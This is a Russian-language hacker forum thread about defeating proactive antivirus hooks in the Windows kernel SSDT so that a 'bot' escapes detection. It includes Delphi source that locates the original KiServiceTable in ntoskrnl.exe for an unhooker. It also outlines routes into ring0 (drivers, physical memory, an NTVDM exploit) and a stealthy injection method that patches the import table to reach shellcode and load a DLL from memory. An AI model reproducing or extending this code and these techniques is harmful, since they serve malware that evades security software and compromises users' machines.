Покажите в какую сторону рыть. Туторы, статьи, примеры, ключевые слова для поиска.... и ссылок да побоьше)
А в чем там проблема? SDT переписать с использованием ntoskrnl.exe (смотря какая версия ядра загружена) и всё. Экспортируется. По технике хотпатча sdt читай Хугланда или ms-rem`а на васме, там у него третья часть про перехваты именно перехватам через sdt посвещена.
Вот тока смысл тебе этого? Исходники SDT restore можно и так в инете найти. Но вот другая проблема. Хуки ставятся в ядре в SSDT и чтобы их снять от туда тебе понадобится попасть в ядро или в ring0 хотябы. А чтобы туда попасть - придется обходить всё те же проактивки. Так что есть тока 4 метода: 1) драйвер - спалят быстро 2) старый способ через физпамять - палится и очень древний 3) бага в NTVDM которая недавно открылась но и то спалится быстро 4) другие баги ) Пару лет назад пробовал еще на делфи писать для бота анхукет. Код ужасный и кривой, но понятный более менее. И даже когдато работал. Code: unit bot_SDT; interface uses bot_types,bot_api; function GetSDTFunc(i:integer):dword; procedure CLOSE_SDT; function OPEN_SDT:boolean; var SDT_prepare:boolean=false; implementation const STATUS_INFO_LENGTH_MISMATCH=dword($C0000004); SystemModuleInformation=11; IMAGE_NT_OPTIONAL_HDR32_MAGIC=$10b; type IMAGE_FIXUP_ENTRY=packed record offset_type:word; end; PIMAGE_FIXUP_ENTRY=^IMAGE_FIXUP_ENTRY; IMAGE_BASE_RELOCATION=packed record VirtualAddress:dword; SizeOfBlock:dword; end; PIMAGE_BASE_RELOCATION=^IMAGE_BASE_RELOCATION; var pService:dword; poha:PIMAGEOPTIONALHEADER; dwKernelBase:dword; hKernel:dword; function GetHeaders(ibase:pointer; var pfh:PIMAGEFILEHEADER; var poh:PIMAGEOPTIONALHEADER; var psh:PIMAGESECTIONHEADER):boolean; var mzhead:PIMAGEDOSHEADER; pehead:PIMAGEOPTIONALHEADER; begin result:=false; mzhead:=ibase; pehead:=pointer(mzhead^._lfanew+dword(ibase)); if (mzhead^.e_magic<>IMAGE_DOS_SIGNATURE) or (pehead^.Magic<>IMAGE_NT_SIGNATURE) then exit; pfh:=pointer(pehead); pfh:=pointer(dword(pfh)+4); poh:=pointer(dword(pfh)+sizeof(_IMAGE_FILE_HEADER)); if poh^.Magic<>IMAGE_NT_OPTIONAL_HDR32_MAGIC then exit; psh:=pointer(dword(poh)+sizeof(_IMAGE_OPTIONAL_HEADER)); result:=true; end; function RVATOVA(base,offset:dword):pointer; begin result:=pointer(base+offset); end; function FindKiServiceTable(hModule:pointer;dwKSDT:dword):dword; var pfh:PIMAGEFILEHEADER; poh:PIMAGEOPTIONALHEADER; psh:PIMAGESECTIONHEADER; pbr:PIMAGE_BASE_RELOCATION; pfe:PIMAGE_FIXUP_ENTRY; dwFixups,i,dwPointerRva,dwPointsToRva,dwKiServiceTable:dword; bFirstChunk:boolean; p:pointer; w:word; begin result:=0; dwFixups:=0; GetHeaders(hModule,pfh,poh,psh); if (poh^.DataDirectory[5].VirtualAddress<>0) and (pfh^.Characteristics mod 2=0) then begin pbr:=RVATOVA(poh^.DataDirectory[5].VirtualAddress,dword(hModule)); bFirstChunk:=true; while (bFirstChunk=true) or (pbr^.VirtualAddress<>0) do begin bFirstChunk:=false; pfe:=pointer(dword(pbr)+sizeof(IMAGE_BASE_RELOCATION)); for i:=0 to ((pbr^.SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))shr 1)-1 do begin if (pfe^.offset_type shr 12=3) then begin inc(dwFixups); w:=pfe^.offset_type; w:=w shl 4; w:=w shr 4; dwPointerRva:=pbr^.VirtualAddress+w; p:=pointer(dword(hModule)+dwPointerRva); dwPointsToRva:=DWORD(p^)-poh^.ImageBase; if (dwPointsToRva=dwKSDT) then begin p:=pointer(DWORD(hModule)+dwPointerRva-2); if word(p^)=$05c7 then begin p:=pointer(DWORD(hModule)+dwPointerRva+4); dwKiServiceTable:=dword(p^)-poh^.ImageBase; result:=dwKiServiceTable; exit; end; end; end; // else // if (pfe^.offset_type shr 12<>0) then // begin // resul:=0; // end; inc(pfe); end; pbr:=pointer(dword(pbr)+pbr^.SizeOfBlock); end; end; if (dwFixups=0) then result:=0; end; function OPEN_SDT:boolean; var dwNeededSize,rc:dword; dwKSDT:dword; dwKiServiceTable:dword; pModules:PSYSTEM_MODULE_INFORMATION_EX; pKernelName:pchar; pfh:PIMAGEFILEHEADER; psh:PIMAGESECTIONHEADER; label strange; begin result:=false; SDT_prepare:=false; rc:=_ZwQuerySystemInformation(SystemModuleInformation,@pModules,4,@dwNeededSize); if rc=STATUS_INFO_LENGTH_MISMATCH then begin pModules:=pointer(_GlobalAlloc(64,dwNeededSize)); rc:=_ZwQuerySystemInformation(SystemModuleInformation,pointer(pModules),dwNeededSize,nil); end else begin strange: exit; end; if (rc<>0)then goto strange; dwKernelBase:=dword(pmodules^.Modules[0].Base); pKernelName:=pModules^.Modules[0].ModuleNameOffset+pModules^.Modules[0].ImageName; hKernel:=_LoadLibraryEx(pKernelName,0,1); if hKernel=0 then exit; _GlobalFree(dword(pModules)); dwKSDT:=dword(GetProcAddress(hKernel,'KeServiceDescriptorTable')); if dwKSDT=0 then exit; dwKSDT:=dwKSDT-hKernel; dwKiServiceTable:=FindKiServiceTable(Pointer(hKernel),dwKSDT); if dwKiServiceTable=0 then exit; GetHeaders(pointer(hKernel),pfh,poha,psh); pService:=hKernel+dwKiServiceTable; SDT_prepare:=true; result:=true; end; function GetSDTFunc(i:integer):dword; begin if OPEN_SDT=false then exit; if SDT_prepare then result:=dword(pointer(pService+4*i)^)-poha^.ImageBase+dwKernelBase else result:=0; end; procedure CLOSE_SDT; begin if SDT_prepare then begin SDT_prepare:=false; _FreeLibrary(hKernel); end; end; begin end.
Хех, а разве есть выбор, если на WriteProcessMemory ругается? Другого способа пока не знаю. Эти которые "другие баги" дебагом нашёл? Для VDM действительно хороший сплойт, и эту багу похоже искал весь Google =) (в смысле сотрудники.)
2 slesh Кстати, спасибо за познавательную статью "Inject DLL в Explorer из kernel-mode". Очень понравилась. Щас сижу и этот весь садо мазо текст всасываю...
2 krenki если палят WriteProcessMemory то скорее всего и другие будут палить. Если конечно проактивка не заточена чисто на инжекты. P.S. бага в VDM к гуглю не имеет отношения. Судя по описанию автора, то чел который обнаружил её, еще пол года назад (или год назад), отослал описание в MS но они не отреагировали. P.S.2. Inject DLL в Explorer из kernel-mode - это мего изврат. Просто эксперименты ) А вообще на реале юзаю другой способ который дает почти 100% результат. Тем более что пашет от win 2000 до win 7 включительно и без каких либо изменений. Да и кода на порядок меньше. И не надо почти ждать попадания в контекст процесса. Исходники не стал выкладывать, потому как пока что приват ) Скажу что там юзается правка юзермодного адресного пространства нужного тебе процесса, а именно таблицы импорта. И перебивал адрес самой используемой функции на адрес своего микро-шелкода (байт 30) а далее выполняется код DLL которая сразу из памяти была вручную загружена. На сишке дров который это делал весит 3 кил после компила. Так что алгоритм мего простой. У кого достаточно знаний, те в лёгкую смогут сами написать.